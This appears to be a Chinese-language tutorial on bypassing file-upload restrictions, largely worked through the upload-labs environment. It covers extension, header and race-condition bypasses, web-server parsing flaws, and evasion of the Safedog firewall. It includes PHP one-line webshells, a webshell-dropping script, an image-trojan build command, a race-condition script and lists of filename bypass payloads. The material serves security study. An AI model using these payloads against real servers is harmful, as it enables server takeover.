substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤
上传图片分析数据包,使用白名单限制上传文件类型,但上传文件的存放路径可控。于是设置上传路径为upload/zoe.php%00
,添加zoe.php%00
内容为了控制路径,上传文件后缀为白名单即可 例:zoe.png,保存后为/upload/zoe.php%00*****.png
,但服务端读取到%00时会自动结束,将文件内容保存至zoe.php中
放包之后访问并用蚁剑连接,这里有一个细节,蚁剑连接时要把下面蓝色的部分删掉
POST00截断
与上述的GET方式的00截断类似,唯一不同的就是POST不会对里面的数据自动解码,需要在Hex中修改。
文件头检测
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
可以通过源码看见,代码通过读取文件的信息,然后对比检查文件头信息进行判断。
补充知识:
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。
绕过思路:在进行文件头绕过时,我们可以把上面的文件头添加到我们的一句话木马内容最前面,达到绕过文件头检测的目的。或者将我们的一句话木马添加到相应的图片之中,再利用文件包含漏洞对php代码进行执行
s1.php
GIF89a
<?php phpinfo(); ?>
利用:找一个符合上传过滤类型的文件与脚本文件合并制作图片木马,后将新文件上传,再结合文件包含漏洞getshell。
C:\Users\Desktop>copy a.png/b + s1.php/a img.gif
文件头代码拦截示例:
1.文件上传接口,读取文件,并将文件转为输入流;
2.截取文件流的前四个字节,并将其转成16进制,并转为大写
3.比较截取的字符与常见的文件类型头部字符进行比对,返回文件的类型
4.正常通过,存在异常则报错;
补充:文件包含漏洞
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种
include() require() include_once() require_once() 区别如下:
- require():找不到被包含的文件会产生致命错误,并停止脚本运行
- include():找不到被包含的文件只会产生警告,脚本继续执行
- require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
- include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
文件包含漏洞成因分析:
例如网页代码如下:
<?php
include $_GET['test'];
?>
这里通过test参数获取所包含的文件
且再网站中再创建一个phpinfo.php页面
<?php
phpinfo();
?>
然后创建图片木马:copy a.png/b + s1.php/a img.gif
也可以直接在图片后面加一句话木马,然后通过上传口上传到网站
利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析
将phpinfo.php文件后缀改为txt后进行访问,依然可以解析: (jpg等图片格式也是类似效果)
可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。
所以当一个文件上传成功后,我们可以通过复制找出该文件在网站路径下的文件路径地址,通过test参数传递给include()函数,然后利用PHP引擎的特性将这个含有一句话木马的脚本图片文件解析php文件,从而使得该文件得到执行,所以文件包含漏洞通常配合文件上传使用。
突破exif_imagetype()函数
exif_imagetype()函数:是PHP中用于确定图像类型的内置函数。它通过读取图像的前几个字节并检查其签名来工作。它可以避免在不支持的文件类型上调用其他exif函数,或者与$_SERVER[‘HTTP_ACCEPT’]结合使来检查浏览器是否能显示特定的图像。绕过方式与上述文件头检测思路一致,也需要利用文件包含漏洞。
exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif
模块。
突破getimagesize()函数
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。php getimagesize 函数 – 获取图像信息 | 菜鸟教程 绕过方式与文件头检测绕过思路致。
二次渲染
二次渲染本身没有问题,但有些程序员编写代码会下意识先将上传的文件先传到服务器,再进行修改,从而产生漏洞,可以利用条件竞争去绕过。这属于一种逻辑漏洞。如代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
从代码中可以看到进行了二次渲染
结合文件包含的漏洞的绕过:这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点
上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片
为了方便大家测试,这里提供一张网上某个大佬提供的GIF图片,当时我也找了很久,大家可以保存一下https://wwe.lanzoui.com/iFSwwn53jaf 下图就是上传GIF文件之后,利用文件包含漏洞
找到相同
的地方(上传前和上传后,两张图片Hex仍然保持不变的位置)并插入PHP一句话
上传更改后带有PHP一句话木马的GIF图片,利用路径文件包含成功。
最后通过蚁剑连接即可
条件竞争
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){ // 检查是否提交了上传表单,如果提交了则执行下面的代码块
$ext_arr = array('jpg','png','gif'); // 定义允许上传的文件类型数组,包括jpg,png,gif
$file_name = $_FILES['upload_file']['name']; // 从上传表单中获取上传文件的名字
$temp_file = $_FILES['upload_file']['tmp_name']; // 从上传表单中获取上传文件的临时路径
$file_ext = substr($file_name,strrpos($file_name,".")+1); // 获取上传文件的扩展名,即文件名的最后部分
$upload_file = UPLOAD_PATH . '/' . $file_name; // 拼接出上传文件的完整路径,创建以原文件名为名的文件
if(move_uploaded_file($temp_file, $upload_file)){ // 将临时文件移动到指定的路径,如果移动成功则执行
if(in_array($file_ext,$ext_arr)){ // 检查上传文件的扩展名是否在允许的类型数组中,如果在则执行下面的代码块
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
#生成新的文件名,包括随机数字、当前日期和时间以及原文件的扩展名
rename($upload_file, $img_path); // 将上传的文件重命名为新的文件名
$is_upload = true;
}else{ // 如果上传文件的扩展名不在允许的类型数组中,则设置错误消息,并删除上传的文件
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
可以看见代码中也对文件进行了二次渲染,上传的文件在上传完成后会通过move_uploaded_file函数进行文件的移动,然后进行替换。将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可通过条件竞争的方式在unlink之前,访问webshell。
这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。这样的话,上传上去就被删除了,不能访问
条件竞争漏洞
条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。
首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删除。简单理解:以文件重命名为例,如果一个word文件正在打开中(被访问),此时你想要执行重命名操作就会出现报错,使重命名失败,而我们的绕过也就是利用这一漏洞。
绕过思路:
利用条件竞争漏洞,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。我们能可以通过burp site抓包工具拦截发包请求,然后不同发送上传文件的数据包,让文件一直上传,然后在文件上传的空隙,服务器还没来得及执行删除操作时,就刷新浏览器访问对应上传的文件,使得条件竞争失败,从而保护了上传的文件。(可见这样的前提就是删除代码发生在上传之后且有一定的执行时间),同样也可以编写脚本不停的发送数据包。。。
或者利用burp一直不停的重发,然后编写脚本不停的访问对应的文件。
例如编写Tony.php脚本:
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
然后将该php脚本抓包上传,发送到爆破板块
进行下一步操作前,这里有个小细节,就是不要
把BP的拦截功能
关闭了,要一直保持拦截状态以达到测试更好的效果,然后选择Clear 清除positions中的所有选项
接着设置无限发送空的Payloads
,来让它一直上传该文件
最后建议这里把线程设置高一点(可不采用)
然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的zoe.php
文件) 由于隐私原因,IP地址不能放出来,下面的脚本的url
地址XXX都是代表IP地址
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
接下来我们可以在BP点击开始攻击
可以看到上传该文件的数据包不停地在进行重放。
在BP攻击的同时
我们也要运行python脚本,目的就是不停地访问zoe.php
知道成功访问到为止。当出现OK
说明访问到了该文件,那么Tony.php
应该也创建成功了,用蚁剑连一下试试。
00截断 CVE-2015-2348
$is_upload
= false;
$msg
= null;
if
(isset(
$_POST
[
'submit'
])) {
if
(
file_exists
(UPLOAD_PATH)) {
$deny_ext
=
array
(
"php"
,
"php5"
,
"php4"
,
"php3"
,
"php2"
,
"html"
,
"htm"
,
"phtml"
,
"pht"
,
"jsp"
,
"jspa"
,
"jspx"
,
"jsw"
,
"jsv"
,
"jspf"
,
"jtml"
,
"asp"
,
"aspx"
,
"asa"
,
"asax"
,
"ascx"
,
"ashx"
,
"asmx"
,
"cer"
,
"swf"
,
"htaccess"
);
$file_name
=
$_POST
[
'save_name'
];
$file_ext
=
pathinfo
(
$file_name
,PATHINFO_EXTENSION);
if
(!in_array(
$file_ext
,
$deny_ext
)) {
$temp_file
=
$_FILES
[
'upload_file'
][
'tmp_name'
];
$img_path
= UPLOAD_PATH .
'/'
.
$file_name
;
if
(move_uploaded_file(
$temp_file
,
$img_path
)) {
$is_upload
= true;
}
else
{
$msg
=
'上传出错!'
;
}
}
else
{
$msg
=
'禁止保存为该类型文件!'
;
}
}
else
{
$msg
= UPLOAD_PATH .
'文件夹不存在,请手工创建!'
;
}
}
这里move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过,Linux环境下使用/.
绕过,Windows环境下可以使用%00
截断
分析代码可知:没有对上传的文件做判断,只对用户输入的文件名做判断,后缀名黑名单上传的文件名用户可控,黑名单用于用户输入的文件后缀名进行判断,move_uploaded_file()会忽略掉文件末尾的 /.,主要作用是将临时文件移到指定的目标路径,并确保文件在移动中不会被删除或覆盖。
00截断方法参考:PHP任意文件上传漏洞(CVE-2015-2348)分析与利用 – SecPulse.COM | 安全脉搏
数组接受+目录命名
$is_upload = false;
$msg = null;
if(!empty($_FILES[‘upload_file’])){
//检查MIME
$allow_type = array(‘image/jpeg’,’image/png’,’image/gif’);
if(!in_array($_FILES[‘upload_file’][‘type’],$allow_type)){
$msg = “禁止上传该类型文件!”;
}else{
//检查文件名
$file = empty($_POST[‘save_name’]) ? $_FILES[‘upload_file’][‘name’] : $_POST[‘save_name’];
if (!is_array($file)) {
$file = explode(‘.’, strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = “请选择要上传的文件!”;
}
- 代码验证过程:
- –> 验证上传路径是否存在
- –> 验证[‘upload_file’]的content-type是否合法(可以抓包修改)
- –> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
- –>判断file不是数组则使用explode(‘.’, strtolower($file))对file进行切割,将file变为一个数组
- –> 判断数组最后一个元素是否合法
- –> 数组第一位和$file[count($file) – 1]进行拼接,产生保存文件名file_name
- –> 上传文件
补充知识:
explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)函数,计算数组中的单元数目,或对象中的属性个数
补充:
<?php
// 这是什么意思呢?这就是获取后缀名。
$file[count($file) - 1];
==> 1. count($file)
比如说:
xiaohuang.jpg
分隔为:
xiaohuang
.
jpg
x[0] = 'xiaohuang'
x[1] = '.'
x[2] = 'jpg'
// 合起来就是:
$file_name = reset($file) . '.' . $file[count($file) - 1];
==> 文件名.jpg
_____________________________________________________________________________________________
例如:
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
save_name[0] = 'sss.php/'
save_name[2] = 'jpg'
file = {'sss.php/','','jpg'}
$file_name = reset($file) . '.' . $file[count($file) - 1];
sss.php/
.
jpg
sss.php/.jpg
?>
绕过思路:修改content-type 修改POST参数为数组类型,索引[0]为qwe.php,索引[2]为jpg|png|gif。
只要第二个索引不为1,$file[count($file) – 1]就等价于$file[2-1],值为空绕过
首先准备PHP一句话木马:然后上传用BP来拦截并改包
修改content-type
修改POST参数为数组类型,索引[0]为upload-20.php
,索引[2]为jpg|png|gif
。
只要第二个索引不为1
,$file[count($file) – 1]就等价于$file[2-1],值为空
然后就点击放包,最后蚁剑连接即可。
解析漏洞
思维导图—中间件漏洞
IIS目录解析漏洞(/test.asp/1.jpg)
在 IIS5.x/6.0 中,在网站下建立文件夹的名字为*.asp、*.asa、*.cer、*.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了
IIS文件名解析漏洞(test.asp;.jpg)
在 IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 *.asp;.jpg、*.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。
IIS畸形解析漏洞(test.jpg/*.php)
微软发布了IIS7.0修补了IIS6.0的解析漏洞,没想到IIS7.0爆出更严重的畸形解析漏洞,于是微软急忙发布了IIS7.5
在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码
将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php 。
临时解决办法:设置 cgi.fix_pathinfo为0
这个解析漏洞和下面讲的Nginx的解析漏洞是一样的。
IIS其他解析漏洞
在windows环境下,xx.jpg[空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。
Ngnix畸形解析漏洞(test.jpg/*.php)
漏洞原因:
php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo
/etc/php5/fpm/pool.d/www.conf中不正确的配置security.limit_extensions,导致允许将其他格式文件作为php解析执行
在nginx<0.8.03环境中,我们新建一个文件,内容为:<?php phpinfo() ?> ,然后将其名字修改为: test.jpg
在浏览器中访问 http://192.168.10.139/test.jpg 显示图片解析错误。在浏览器中访问 http://192.168.10.139/test.jpg/test.php ,显示:Access denied. 。这就奇怪了,test.jpg是文件不是目录,test.php更是根本就不存在的文件,访问/test.jpg/test.php没有报404,而是显示 Access denied. 。
原因在于,Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php 后,一看后缀是.php,便认为该文件是php文件,于是转交给php去处理。php一看 /test.jpg/test.php 不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回 Access denied. 。
这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。开启这一选项有什么用呢?看名字就知道是对文件路径进行处理。举个例子,当 php 遇到文件路径 /aaa.xxx/bbb.yyy/ccc.zzz 时,若 /aaa.xxx/bbb.yyy/ccc.zzz 不存在,则会去掉最后的 /ccc.zzz ,然后判断 /aaa.xxx/bbb.yyy 是否存在,若存在,则把 /aaa.xxx/bbb.yyy 当做文件 /aaa.xxx/bbb.yyy/ccc.zzz ,若 /aaa.xxx/bbb.yyy 仍不存在,则继续去掉 /bbb.yyy ,以此类推。
该选项在配置文件 php.ini 中。若是关闭该选项,访问 http://127.0.0.1/test.jpg/test.php 只会返回找不到文件。但关闭该选项很可能会导致一些其他错误,所以一般默认是开启的。
但是目前我们还没能成功执行代码,test.jpg 没有当成php文件执行,只是返回了 Access denied ,因为新版本的php引入了security.limit_extensions ,限制了可执行文件的后缀,默认只允许执行.php文件。
这一漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于security.limit_extensions 的引入,使得该漏洞难以被成功利用。
为何是Nginx中的php才会有这一问题呢?因为Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。而如Apache等,会先看该文件是否存在,若存在则再决定该如何处理。cgi.fix_pathinfo是php具有的,若在php前便已正确判断了文件是否存在,cgi.fix_pathinfo便派不上用场了,这一问题自然也就不存在了。(IIS在这一点和Nginx是一样的,同样存在这一问题)
Ngnix%00空字节代码解析漏洞
原理:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
在以下版本的nginx中,我们在图片中嵌入PHP代码然后通过访问 xxx.jpg%00.php 来执行其中的代码
Nginx 0.5.*
Nginx 0.6.*
Nginx 0.7 <= 0.7.65
Nginx 0.8 <= 0.8.37
Ngnix 文件名逻辑漏洞 CVE-2013-4547(%20%00)
影响nginx版本:nginx 0.8.41 ~ 1.5.6
这一漏洞的原理是非法字符空格和截止符(%00)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。是什么意思呢?举个例子,假设服务器上存在文件:“file.jpg ”,注意文件名的最后一个字符是空格。则可以通过访问:
http://127.0.0.1/file.jpg \0.php
让Nginx认为文件“file.jpg ”的后缀为“.php”。
来测试下,这次测试在Nginx/1.0.15中进行。首先准备一张图片,命名为“test.html ”,注意,文件名含有空格。然后在浏览器中访问该文件,会得到一个404,因为浏览器自动将空格编码为%20,服务器中不存在文件“test.html%20”。
测试目标是要让Nginx认为该文件是图片文件并正确地在浏览器中显示出来。我们想要的是未经编码的空格和截止符(\0),怎么办呢?使用Burp Suite抓取浏览器发出的请求包,修改为我们想要的样子,原本的URL是:http://192.168.56.101/test.htmlAAAjpg ,将第一个“A”改成“20”(空格符号的ASCII码),将第二个“A”改成“00”(截止符),将第三个“A”改成“2e”(“.”的ASCII码),如图
修改完毕后Forward该请求,在浏览器中看到:
我们已经成功地利用了漏洞!但这有什么用呢?我们想要的是代码被执行。继续测试,准备文件“test.jpg ”,注意文件名的最后一个字符是空格,上传到服务器。文件内容为:
用Burp Suite抓包并修改,原本的URL是:http://192.168.56.101/test.jpg…php ,将jpg后的第一个“.”改为20,第二个“.”改为00,如下图所示:
修改完毕后 Forword 该请求,在浏览器中看到:Access denied ,好吧,又是这个。
这说明Nginx在接收到这一请求后,确实把文件“test.jpg ”当做php文件交给php去执行了,只是php看到该文件后缀为“.jpg ”而拒绝执行。这样,便验证了Nginx确实存在该漏洞。但是由于 security.limit_extensions 的存在,导致我们并不能利用此漏洞
Apache文件名解析漏洞
apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。比如 xie.php.owf.rar .owf和.rar 这两种后缀是apache不可识别的解析,apache就会把xie.php.owf.rar解析成 xie.php 。如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个 xie.php.rara.jpg.png..(把你知道的后缀都写上去)去测试是否是合法后缀。任意不识别的后缀,逐级向上识别。这个漏洞一般出现在低版本
Apache罕见后缀
计算机世界自开天辟地以来,便自由多彩。还记得mime.types文件吗?在该文件中搜索“php”这三个字母,结果如下所示:
- werner@Yasser:~$ cat /etc/mime.types | grep php
- #application/x-httpd-php phtml pht php
- #application/x-httpd-php-source phps
- #application/x-httpd-php3 php3
- #application/x-httpd-php3-preprocessed php3p
- #application/x-httpd-php4 php4
- #application/x-httpd-php5 php5
还记得正则表达式”.+\.ph(p[345]?|t|tml)$”吗,该正则表达式匹配的不仅仅有php,还有php3、php4、php5、pht和phtml。
好吧,原来不仅php,就连phtml、pht、php3、php4和php5都是Apache和php认可的php程序的文件后缀。我原本只知道“.php”的,真是大开眼界。这就好比,不仅py是Python程序文件的后缀,还有pyc和pyo也都是。写上传过滤规则的程序员是否博学多识,也知道这些知识呢?我想,大抵是不知道的。利用这些“罕见”的后缀名,也可能绕过安全检查,干些“坏事”。
我在Ubuntu14.04+Apache2.4.7中进行测试,先准备文件text.php,其内容是经典的Hello World:
<?php echo ‘HELLO WORLD’; ?>
然后在浏览器中打开它,成功显示“HELLO WORLD”。再修改该文件后缀为各种后缀,进行测试。测试结果是,以php、phtml、pht、php3、php4和php5为后缀,能成功看到“HELLO WORLD”;以phps为后缀,会报403错误,Forbidden;以php3p为后缀,会在浏览器中看到源码。
Apache中的配置安全——.htaccess文件
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。
.htaccess 文件生效前提条件为:
mod_rewrite 模块开启
AllowOverride All
#1:这个.htaccess的意思就是把所有名字里面含有shell的文件当成php脚本来执行
<FilesMatch “shell”>
SetHandler application/x-httpd-php
</FilesMatch>
#2:这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析
AddType application/x-httpd-php .jpg
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
漏洞原理
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
漏洞复现-vulhub上启动靶场环境,访问对应端口
上传php文件并抓包:
被拦截了
在1.php后面插入一个\x0A,(注意,不能是\x0D\x0A,只能是一个\x0A),不再被拦截:
访问刚才上传的/1.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:
编辑器漏洞
红队笔记-编辑器漏洞合 – A2rcher_zjh – 博客园
编辑器漏洞大全:从FCKeditor到eWebEditor的安全风险-CSDN博客
WAF绕过思路
传数据包参数对应修改测试
上传参数名解析:明确哪些东西能修改?
- Content-Dispostion:一般可更改
- name:表单参数值,不能更改
- filename:文件名,可以更改
- Content-Type:文件MIME,视情况而定
带 waf 的文件上传绕过
1.上传文件 WAF 检查的位置
文件名:解析文件名,判断是否在黑名单内。文件内容:解析文件内容,判断是否为 webshell 文件目录权限 请求的 url Boundary 边界 MIME 文件类型 目前,市面上常见的是解析文件名,少数 WAF 是解析文件内容,比如长亭。
2.文件上传存在的上传特征
http 请求 Header 头部中的 Content-Type 存在以下特征:
multipart/form-data:表示该请求是一个文件上传请求 存在 boundary 字符串:作用为分隔符,以区分 POST 数据 POST 的内容存在以下特征: Content-Disposition name filename POST 中的 boundary 的值就是 Content-Type 的值在最前面加了两个–,除了 最后 标识结束的 boundary 最后标识结束的 boundary 最后默认会多出两个–(测试时,最后一行的 boundary 删掉也能成功上传)。
常见的绕过方法
1、垃圾数据溢出-防匹配(xxx.. .)
2、符号变异-防匹配('" ;)
3、数据截断-防匹配(%00 ;换行)
4、重复数据-防匹配(参数多次)
5、"/"与";"配合绕过
过safedog之Payload:
大量垃圾数据缓冲溢出(Content-Disposition,filename等)
filename=xx.php
filename="xx.php
filename='xx.php<br>filename="x".php<br>filename="x"x.php
filename="a.jpg;.php"
filename="Content-Disposition:form-data;name="upload_file";x.php"
filename="x.jpg";filename="x.jpg";....filename="x.php";
filename="/xxx/x.php"
filename=
"
x
.
p
h
p
"
主要是学习思路,其他waf绕过可参考思路进行尝试
案例演示
<1>上传一个PHP文件,被safedog拦截,原因是安全狗中配置了相关防护,该防护是通过检测关键字实现
<2>方法1:在数据包filename之前,手动加入大量垃圾数据(以分号结尾),造成数据溢出,防止waf匹配关键字,从而绕过waf防护。
<3>方法2:使用符号变异的方法,防止waf匹配关键字,从而绕过waf防护。比如原来是filename=”xx.php”,我们可以手动改为filename=’xx.php’、filename=”xx.php、filename=’xx.php、filename=xx.php”、filename=xx.php’、filename=xx.php等形式,尝试上传。经过测试,以下三种方式可以绕过safedog文件防护。
- filename=”xx.php
- filename=’xx.php
- filename=xx.php
通过以上测试,猜测安全狗防护机制是取filename后面最后一个引号之前的数据与黑名单匹配。此时我们就有了更多思路,比如改为filename=”x”.php,安全狗会取引号中的x与后缀黑名单进行匹配,成功绕过,上传到服务器上的文件名为.php。或者改为filename=”x”x.php,此时上传到服务器上的文件名为x.php。
<4>方法3:数据截断-防匹配(%00 ; 换行)
改为filename=”x.jpg;.php”,成功绕过,此时上传到服务器上的文件名为x.jpg;.php。
改为filename=”x.php%00.jpg”,成功绕过,此时上传到服务器上的文件名为x.php%00.jpg,图片格式,没啥用。改为换行绕过,此时上传到服务器上的文件名为x.php。
<5>方法4:重复数据-防匹配(参数多次)
改为filename=”x.jpg”;filename=”x.jpg”;….filename=”x.php”;,成功绕过,此时上传到服务器上的文件名为x.php。
改为filename=”Content-Disposition:form-data;name=”upload_file”;x.php”,成功绕过,此时上传到服务器上的文件名为;x.php。
改为filename=”Content-Disposition:form-data;name=”upload_file”x.php”(去掉了分号),成功绕过,此时上传到服务器上的文件名为x.php。
改为filename=”Content-Type: image/jpeg;x.php”(去掉了分号),成功绕过,此时上传到服务器上的文件名为jpeg;x.php。此处发现/之后的内容可以绕过安全狗检测。
改为filename=”/jpeg;/x.php”,成功绕过,此时上传到服务器上的文件名为x.php。
<6>方法五: “/”与”;”配合绕过
payload:
filename="/jpeg;x.php"
filename="/jpeg;/x.php"
fuzz字典
https://github.com/fuzzdb-project/fuzzdb
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/TuuuNya/fuzz_dict
https://github.com/jas502n/fuzz-wooyun-org
